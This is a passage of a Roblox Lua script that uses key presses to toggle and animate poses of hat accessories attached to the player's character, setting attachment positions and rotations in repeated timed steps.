head.Handle.Attachment.Rotation = Vector3.new(90, 0, 0)
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(90, 90, 90)
Hats.torso2.Handle.Attachment.Rotation = Vector3.new(90, 90, 90)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(-90, 0, 0)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(90, 0, 0)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(-28.88, 36.19, -98.5)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(28.88, 36.19, -98.5)
Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(-90, 0, 0)
Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(-90, 0, 0)
Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(-90, 0, 0)
 
Character:WaitForChild("Torso").headattachment.Position = Vector3.new(2, -1.422, -5.922)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(2, -1.422, -4.922)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(2, -1.422, -3.922)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(3.5, -1.922, -4.922)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(0.5, -1.922, -4.922)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(2.693, -2.022, -2.774)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(1.307, -2.022, -2.774)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(2.5, -1.922, -5.022)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(1.4, -1.922, -5.022)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(2, -1.922, -3.922)
 
           toggle = true
 else
 
            Character.Humanoid.HipHeight = 0
 
            wait(0.1)
 
            Character.Humanoid.Sit = false
 
            Character.Torso.Anchored = false
 
head.Handle.Attachment.Rotation = Vector3.new(90, 0, 0)
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(90, 90, 90)
Hats.torso2.Handle.Attachment.Rotation = Vector3.new(90, 90, 90)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(-90, 0, 0)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(90, 0, 0)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(-28.88, 17.19, -98.5)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(28.88, 17.19, -98.5)
Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(-90, 0, 0)
Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(-90, 0, 0)
Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(-90, 0, 0)
 
Character:WaitForChild("Torso").headattachment.Position = Vector3.new(2, -1.922, -5.922)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(2, -1.922, -4.922)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(2, -1.922, -3.922)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(3.5, -1.922, -4.922)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(0.5, -1.922, -4.922)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(2.693, -2.422, -2.774)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(1.307, -2.422, -2.774)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(2.5, -2.422, -5.022)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(1.4, -2.422, -5.022)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(2, -2.422, -3.922)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "v" then
     if toggle == false then
 
            Character.Humanoid.HipHeight = 5
 
            wait(0.1)
 
            Character.Humanoid.Sit = false
 
            Character.Torso.Anchored = false
 
head.Handle.Attachment.Rotation = Vector3.new(-30, 0, 0)
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(-1, -90, 90)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(-1, 90, -90)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(-75, -90, 180)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(75, -90, 180)
Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
 
Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0, -3.758, -0.022)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(-0, -4.672, 0.028)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(-0, -5.672, 0.028)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.327, -3.672, 0.028)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.327, -3.672, 0.028)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.693, -7.12, 0.028)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.693, -7.12, 0.028)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, -4.572, -0.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, -4.572, -0.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -5.672, -0.472)
 
           toggle = true
 else
 
            Character.Humanoid.HipHeight = 4
 
            wait(0.1)
 
            Character.Humanoid.Sit = false
 
            Character.Torso.Anchored = false
 
head.Handle.Attachment.Rotation = Vector3.new(30, 0, 0)
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(-1, -90, 90)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(-1, 90, -90)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(-75, -90, 180)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(75, -90, 180)
Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
 
Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0, -2.758, -0.022)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(-0, -3.672, 0.028)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(-0, -4.672, 0.028)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.327, -4, 0.028)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.327, -4, 0.028)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.693, -6.12, 0.028)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.693, -6.12, 0.028)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, -3.572, -0.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, -3.572, -0.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -4.672, -0.472)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "e" then
     if toggle == false then
 
            Character.Humanoid.HipHeight = 0
 
            wait(0.1)
 
            Character.Humanoid.Sit = false
 
            Character.Torso.Anchored = false
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
